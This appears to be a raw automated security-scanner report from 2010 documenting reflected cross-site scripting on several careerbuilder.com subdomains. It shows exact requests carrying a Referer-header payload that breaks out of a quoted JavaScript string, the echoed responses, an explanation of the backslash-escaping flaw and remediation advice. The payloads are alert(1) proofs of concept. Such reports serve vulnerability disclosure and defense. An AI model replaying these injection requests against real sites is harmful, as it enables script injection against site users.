<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - c0688\\';alert(1)//669e64fff42'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9dc0a\'%3balert(1)//a91ce667363 was submitted in the Referer HTTP header. This input was echoed as 9dc0a\\';alert(1)//a91ce667363 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /co.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh033 HTTP/1.1 Host: college.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=9dc0a\'%3balert(1)//a91ce667363
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 42270 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=b59a2b8ee0ae4555bee231b0664acd74-343070679-XE-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650B94473CF7DE94E8892DC5825580DC9CCCD185D5AE9D0133B629A1425E23712AD8659D87E7028C181; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:24:39 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: BEAR45 Date: Sun, 14 Nov 2010 22:24:39 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> 404 Fi ...[SNIP]... s_cb.server='college'; s_cb.eVar8='college.careerbuilder.com/404.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 9dc0a\\';alert(1)//a91ce667363'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 64fda\'%3balert(1)//4ed77ff58f2 was submitted in the Referer HTTP header. This input was echoed as 64fda\\';alert(1)//4ed77ff58f2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /co.ic/Florida_Miami/ HTTP/1.1 Host: college.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=64fda\'%3balert(1)//4ed77ff58f2
Response
HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 42270 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=4fb5d2d35edf40349a3ae728939a92bb-343070669-XC-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650634FC20916C086ED28CFCFE684229947FE24D274F63DFE59978DD77522C40A9A6E4DC01E731063AB; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:24:28 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: BEAR43 Date: Sun, 14 Nov 2010 22:24:28 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> 404 Fi ...[SNIP]... s_cb.server='college'; s_cb.eVar8='college.careerbuilder.com/404.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 64fda\\';alert(1)//4ed77ff58f2'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f69bb\'%3balert(1)//05bdad76920 was submitted in the Referer HTTP header. This input was echoed as f69bb\\';alert(1)//05bdad76920 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /cs.ic/Florida_Miami/ HTTP/1.1 Host: customer-service.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=f69bb\'%3balert(1)//05bdad76920
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 177395 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=6a19060872854c8db7978491c000287a-343070711-VK-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6502D8013EFC7A0519483CBFCEAA165ECC72D0AF4E41AE79EDFA9F9CB6364A37007EC36F90FCBB0C975; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:25:10 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:40:10 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL32 Date: Sun, 14 Nov 2010 22:25:10 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - f69bb\\';alert(1)//05bdad76920'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 46371\'%3balert(1)//92b296703fd was submitted in the Referer HTTP header. This input was echoed as 46371\\';alert(1)//92b296703fd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /cs.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh035 HTTP/1.1 Host: customer-service.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=46371\'%3balert(1)//92b296703fd
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 177114 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=fa67f46c03f54f6f9dd76a05c288ab92-343070843-RF-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65097B7B523B2CD453F1F6DB0DD92B6C999C373686678288AF29248C535BC94AE3D440C6CDA795A3C13; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:23 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:23 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL15 Date: Sun, 14 Nov 2010 22:27:23 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 46371\\';alert(1)//92b296703fd'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c9605\'%3balert(1)//cb2b0ee2b59 was submitted in the Referer HTTP header. This input was echoed as c9605\\';alert(1)//cb2b0ee2b59 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /en.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh037 HTTP/1.1 Host: engineering.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=c9605\'%3balert(1)//cb2b0ee2b59
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 178931 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=a14aa328431d4a2894ea19c923e14acb-343070961-R0-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6505650FD3B34C836BE61CFE4ECC18EF755B35148D8AFD36EA30193A69891746B88916339BA5E7CF03B; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:20 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:21 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL10 Date: Sun, 14 Nov 2010 22:29:20 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - c9605\\';alert(1)//cb2b0ee2b59'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bf320\'%3balert(1)//7b08174fe63 was submitted in the Referer HTTP header. This input was echoed as bf320\\';alert(1)//7b08174fe63 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /en.ic/Florida_Miami/ HTTP/1.1 Host: engineering.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=bf320\'%3balert(1)//7b08174fe63
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 178984 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=d72f43f572b24972b2efa52f4a28eefa-343070775-R0-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650C934439C4FEBB9F3697A70ACC4A30F89BC587D99E7FCB86F0466BD79DE0F675097DE1E848F2627BE; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:26:14 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:41:14 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL10 Date: Sun, 14 Nov 2010 22:26:14 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - bf320\\';alert(1)//7b08174fe63'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 27deb\'%3balert(1)//c82a10adf34 was submitted in the Referer HTTP header. This input was echoed as 27deb\\';alert(1)//c82a10adf34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ex.ic/Florida_Miami/ HTTP/1.1 Host: executive.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=27deb\'%3balert(1)//c82a10adf34
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 182490 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=943d9a01a3bd49ffbe22b15c1fecb4bc-343070823-wh-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65013830758431F9142C99B2D471F8399A9D3BF99BA5FBD7D4CB68BB4C033B9B7038DD53EC9DE66149D; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:02 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:42:03 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR18 Date: Sun, 14 Nov 2010 22:27:02 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 27deb\\';alert(1)//c82a10adf34'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ad8f2\'%3balert(1)//7e60a15d1a0 was submitted in the Referer HTTP header. This input was echoed as ad8f2\\';alert(1)//7e60a15d1a0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /ex.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh038 HTTP/1.1 Host: executive.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ad8f2\'%3balert(1)//7e60a15d1a0
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 182208 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=285e7bc95bcf4765ac323d1f3a5cd566-343070978-w8-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650563CAEFB6F49013C68D48654BAB97E6714F1ED96F756EC007C80FD378BB3C502B2BA22B7D0E6ACC9; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:38 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:39 GMT; path=/ X-Powered-By: ASP.NET X-PBY: BEAR8 Date: Sun, 14 Nov 2010 22:29:38 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - ad8f2\\';alert(1)//7e60a15d1a0'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ac4c3\'%3balert(1)//eaade0cb9cb was submitted in the Referer HTTP header. This input was echoed as ac4c3\\';alert(1)//eaade0cb9cb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /hc.ic/Florida_Miami/ HTTP/1.1 Host: healthcare.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ac4c3\'%3balert(1)//eaade0cb9cb
Response
HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 42282 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=1f414345368b4484b11978f8142bfe88-343070839-RT-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6506771D7B630D98E2C8CB55BD83C5ACB7C9A49FC5D48CD69CDCC29AE5D163054B6A25256F1E33A4C02; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:18 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: REBEL29 Date: Sun, 14 Nov 2010 22:27:17 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> 404 Fi ...[SNIP]... erver='healthcare'; s_cb.eVar8='healthcare.careerbuilder.com/404.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - ac4c3\\';alert(1)//eaade0cb9cb'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 68272\'%3balert(1)//5817376056d was submitted in the Referer HTTP header. This input was echoed as 68272\\';alert(1)//5817376056d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
